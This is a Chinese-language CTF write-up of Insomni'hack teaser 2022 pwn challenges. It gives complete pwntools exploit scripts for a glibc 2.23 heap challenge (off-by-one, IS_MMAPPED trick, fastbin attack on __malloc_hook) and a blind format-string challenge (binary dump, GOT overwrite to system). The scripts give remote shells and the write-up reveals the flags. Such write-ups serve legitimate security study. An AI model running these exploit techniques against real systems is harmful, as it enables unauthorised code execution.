Insomni’hack teaser 2022 Pwn writeup

前言

偶然在推特看到的这个比赛, 搜了下似乎国内没什么人参加, 但是往年题目质量还不错(?), 摸鱼打了打, 4道pwn只做了2个, 剩下一个是Windows Pwn一个是GameBoy, 都不太熟= =.

onetestament

glibc 2.23的heap菜单题, some old tricks 😀

限制因素:

  • 能申请的mem size只有四种: 0x18 0x30 0x60 0x7c
  • 只有在add的时候可以leak信息, show函数是没用的
  • 用的是calloc, 会把申请到的chunk清零
  • 最多只允许调用11次calloc (0-10)
  • delete里用了一个标志变量判断是否有double-free

漏洞点:

  • editoff-by-one, 在可以改下一个chunk headersize
  • 读入菜单选项的函数存在一个字节的溢出, 可以把第4块chunk(编号从0开始)是否被free过的标志变量覆写, 从而达到double free

这里有一个小知识点, 在glibc-2.23/malloc/malloc.c__libc_calloc函数中(3259行):

  /* Two optional cases in which clearing not necessary */
  if (chunk_is_mmapped (p))
    {
      if (__builtin_expect (perturb_byte, 0))
        return memset (mem, 0, sz);

      return mem;
    }

可以看到calloc 函数不会把 mmap 系统调用拿到的内存清零, 这是因为mmap系统调用拿到的内存本身就是清零的, 为了节省性能开销这里就不再调用memset清了.

因此如果能覆写chunk的IS_MMAPED位, 就可以绕过calloc的清零操作. 参考chunk结构图可以发现当一个chunk的data部分大小为0x18时, 其利用edit中的off-by-one就正好可以覆盖下一个chunk的IS_MMAPED位:

那么现在思路其实很明确了, 主要步骤:

  1. 用0x18的chunk作为辅助编辑块, 负责修改其下一个chunk的IS_MMAPED绕过calloc的清零
  2. 0x7c大小的unsorted bin chunk泄露libc基址
  3. 0x60 大小的chunk做fastbin attack, 拿到一块指向__malloc_hook的fake chunk
  4. 覆写__malloc_hookone gadget, 调用一次add拿到shell

    由于调用add的次数受限, 而且只能在第4块chunk(编号从0开始)这里做double-free, 需要紧凑地安排堆块, 我最终采取的排布如下:
# 0 0x18 fastbin for edit unsorted
# 1 0x7c unsorted bin chunk
# 2 0x60 padding chunk B
# 3 0x18 fastbin for edit chunk A
# 4 0x60 fastbin chunk A

其中2起到padding和fastbin中ABA块的B块的作用.

完整exp如下:

#!/bin/python3

from pwn import *

# context.log_level = 'debug'
elf = "./ontestament"
libc = ELF( './libc.so' )

context(arch = 'amd64' , os = 'linux')
context.terminal = ['tmux', 'split-window', "-p", "75"]

# sh = gdb.debug([elf], env={"LD_PRELOAD":"./libc.so.6"}, gdbscript = cmd)

sh=remote("onetestament.insomnihack.ch", 6666)
# libc = ELF('./libc-2.23_64.so')

def menu():
    sh.recvuntil(b"Please enter your choice: ")

# 1 (0x18) / 2 (0x30) / 3 (0x60) / 4 (0x7c)
def add(l, buf):
    sh.sendline(b"1")
    sh.sendafter(b"Please enter your choice: ", str(l).encode())
    sh.sendlineafter(b"Please enter your testatment content: ", buf)
    result=sh.recvline()
    return result[len(b"My new testament: "):]

def show():
    menu()
    sh.sendline(b"2")
    data = sh.recvline()
    return data

def edit(idx, offset_to_add):
    menu()
    sh.sendline(b"3")
    sh.sendafter(b"testament index: ", str(idx).encode())
    sh.sendafter(b"Please enter your testament content: ", str(offset_to_add).encode())

def delete(idx):
    menu()
    sh.sendline(b"4")
    sh.sendafter("testament index: ", str(idx).encode())


add(1, b"bbbbbbbb") # 0 fastbin for edit unsorted
add(4, b"aaaaaaaa") # 1 unsorted
add(3, b"pppppppp") # 2 padding chunk B
add(1, b"bbbbbbbb") # 3 fastbin for edit chunk A
add(3, b"cccccccc") # 4 fastbin chunk A

delete(1) # throw 1 to unsorted bin
edit(0, 0x18) # use off-by-one to change the IS_MAPPED bit

## 5 leak libc, mannuly send/recv
sh.sendline(b"1")
sh.sendafter(b"Please enter your choice: ", str(4).encode())
sh.sendlineafter(b"Please enter your testatment content: ", b"aaaaaaa")
result=sh.recvn(len(b"My new testament: ")+0x10)
libc_base=result[len(b"My new testament: "):]
libc_base=int.from_bytes(libc_base[8:14], "little") - 0x3c4b78#0x39bb78#0x3c4b78 # LEAK - 0xa - libc.symbols["__memalign_hook"]
success(hex(libc_base))

## use double free to get the fake chunk
fake_chunk = libc_base + libc.sym.__malloc_hook - 0x3 - 0x20
one_gadget = 0x45226+libc_base
delete(4) # throw chunk A to fastbin
delete(2) # chunk B

# rewrite freed flag and double free
menu()
sh.sendline(b"4")
sh.sendafter("testament index: ", b"4\x00\x00\x00\x01")


add(3, p64(fake_chunk)) # 6
add(3, b"ffffffff") # 7
edit(3, 0x18) # set IS_MAPPED of chunk A
add(3, p64(fake_chunk)) # 8

add(3, ( 0x23 - 0x10 )*b"\x00"+p64(one_gadget) ) # 9

# 10
sh.sendline(b"1")
sh.sendafter(b"Please enter your choice: ", str(2).encode())

# getshell
sh.sendline("cat flag") # INS{0ld_7r1ck5_4r3_7h3_b357}
sh.interactive()

CovidLe$s

盲打, 没给binary. 随便打一些输入发现有回显, 试了下是x64的格式化字符串漏洞. 先把栈地址拉出来看一下:

[b'0x400934', rdi
 b'(nil)', rsi
 b'(nil)', rdx 
 b'0x7fcdbd491580', rcx
 b'0x7fcdbd2658d0',
 b'0x74346e3143633456',
 b'0x505f44315f6e6f31',
 b'0x5379334b5f763172',
 b'0x5f74304e6e34635f',
 b'0xa6b34336c',
 b'(nil)',
 b'0x70252e70252e7025',
 b'0x252e70252e70252e',
 b'0x2e70252e70252e70',
 b'0x70252e70252e7025',
 b'0x252e70252e70252e',
 b'0x2e70252e70252e70',
 b'0x70252e70252e7025',
 b'0x252e70252e70252e',
 b'0x2e70252e70252e70',
 b'0x70252e70252e7025',
 b'0x252e70252e70252e',
 b'0x2e70252e70252e70',
 b'0x70252e70252e7025',
 b'0x252e70252e70252e',
 b'0x2e70252e70252e70',
 b'0x252e70252e7025',
 b'0x7ffcf3599860',
 b'0x697ed5f4f7b94b00',
 b'0x400890',
 b'0x7fcdbce99b97', # libc_start_main_ret 地址
 b'0x1',
 b'0x7ffcf3599868',
 b'0x100008000',
 b'0x40075a',  # main函数 push rbp 地址
 b'(nil)',
 b'0x1bf35c7d8013eabb',
 b'0x400650',
 b'0x7ffcf3599860',
 b'(nil)',
 b'(nil)',
 b'0xe40aba4ebe13eabb',

首先可以用__libc_start_main中对应指令的偏移计算出libc的基址, 还可以发现目标程序没有开PIE(返回地址都是0x4xxxx). 因此直接把0x40000开始的0x1000个字节dump出来就是elf. dump的时候有一个坑点是输出遇到0x0a会截断,所以对含有这些字节的地址需要特殊处理:

#!/bin/python3

from pwn import *

context.clear(arch = 'amd64')

sh=remote("covidless.insomnihack.ch", 6666)

def send(fmt_string):
    sh.sendline(fmt_string)
    sh.recvuntil(b"try again ..\n\n")

def exec_fmt(payload):
    sh.sendline(payload)
    # info = sh.recv()
    info = sh.recvuntil(b"try again ..\n\n")
    start = len(b"Your covid pass is invalid : ")
    return info[start:-1]

# auto = FmtStr(exec_fmt)
offset = 12

stack_layout = exec_fmt(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.").split(b'.')

stack_base=int(stack_layout[27][2:], 16)

def dump_memory(start_addr, end_addr):
    result = b""
    while start_addr < end_addr:
        # sh=remote("covidless.insomnihack.ch", 6666)
        if start_addr % 0x100 != 0xa:
            data=exec_fmt(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%s.%p.%p.%p.%p.%p.%p.%p.%p."+p64(start_addr))
            data=data.split(b'.')[-12]
        else:
            data = b"\x90"
        if data == b'':
            data = b'\x00'
        log.info("leaking: 0x%x --> %s" % (start_addr, data))
        result += data
        start_addr += len(data)

        # sh.close()
    return result

start_addr = 0x400000
end_addr   = 0x400000 + 0x9ff
code_bin = dump_memory(start_addr, end_addr)
with open("code2.bin", "wb") as f:
    f.write(code_bin)
    f.close()

用IDA看一下elf发现除了格式化字符串以外没有别的洞, 倒是有一个假密钥和对应的假后门函数hello_admin

只有一个格式化字符串, 内存中又没有flag信息, 只能通过getshell来拿了. 由于libc的基址可以从栈上得到, 又没有开PIE, 那么只需要将printf的got表覆写成system 然后传个”/bin/sh”过去就可以了.

完整exp:

#!/bin/python3

from pwn import *

context.clear(arch = 'amd64')
sh=remote("covidless.insomnihack.ch", 6666)


def send(fmt_string):
    sh.sendline(fmt_string)
    sh.recvuntil(b"try again ..\n\n")

def exec_fmt(payload):
    sh.sendline(payload)
    # info = sh.recv()
    info = sh.recvuntil(b"try again ..\n\n")
    start = len(b"Your covid pass is invalid : ")
    return info[start:-1]

# auto = FmtStr(exec_fmt)
offset = 12

stack_layout = exec_fmt(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.").split(b'.')

stack_base=int(stack_layout[27][2:], 16)

# exec_fmt(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%x.%p.%p.%p.%p.%p.%p.%p.%p."+p64(stack_base))

def dump_memory(start_addr, end_addr):
    result = b""
    while start_addr < end_addr:
        # sh=remote("covidless.insomnihack.ch", 6666)
        if start_addr % 0x100 != 0xa:
            data=exec_fmt(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%s.%p.%p.%p.%p.%p.%p.%p.%p."+p64(start_addr))
            data=data.split(b'.')[-12]
        else:
            data = b"\x90"
        if data == b'':
            data = b'\x00'
        log.info("leaking: 0x%x --> %s" % (start_addr, data))
        result += data
        start_addr += len(data)

        # sh.close()
    return result

start_addr = 0x400000
end_addr   = 0x400000 + 0x9ff
code_bin = dump_memory(start_addr, end_addr)
with open("code.bin", "wb") as f:
    f.write(code_bin)
    f.close()

libc_start_main_ret = int(stack_layout[30][2:], 16)

system = libc_start_main_ret + 0x2d8a9

printf_got = 0x601028

payload = fmtstr_payload(offset, {printf_got : system}, write_size='short')

exec_fmt(payload)
sh.send(b"/bin//sh")

sh.interactive() # INS{F0rm4t_5tR1nGs_FuULly_Bl1nd_!Gj!}

LoadMe

Windows Pwn, 没给binary. 比赛期间做出来的人比onetestament多, 感觉应该不难, 但是无奈本人对Windows一无所知, gg.

随手试了下, 看上去是某种栈溢出, 可以获取到一些debug信息, 等学习一下Windows系统的知识再来.

RetroPwn

喜闻乐见的GameBoy Pwn, 不会做, 放一张群里老哥的思路 = =:

而且个人不喜欢GameBoy, 不知道为什么外国hackers都这么执着于在一个三十年前的游戏机上玩各种花样…

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据